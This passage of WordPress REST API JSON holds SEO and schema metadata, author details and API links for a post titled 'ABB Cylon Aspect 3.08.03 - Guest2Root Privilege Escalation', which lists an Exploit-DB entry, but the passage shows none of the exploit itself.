redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5963","og_locale":"en_US","og_type":"article","og_title":"ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation - zero redgem","og_description":"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation Exploit ID EDB-ID:52305 Type exploitdb Published 2025-05-25T00:00:00 Modified 2025-05-25T00:00:00 CVSS Information...","og_url":"https:\/\/zero.redgem.net\/?p=5963","og_site_name":"zero redgem","article_published_time":"2025-05-25T09:36:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5963#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5963"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation","datePublished":"2025-05-25T09:36:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5963"},"wordCount":773,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","exploitdb","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5963#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5963","url":"https:\/\/zero.redgem.net\/?p=5963","name":"ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-25T09:36:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5963#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5963"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5963#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"ABB Cylon Aspect 3.08.03 &#8211; Guest2Root Privilege Escalation"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5963"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5963\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5963"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}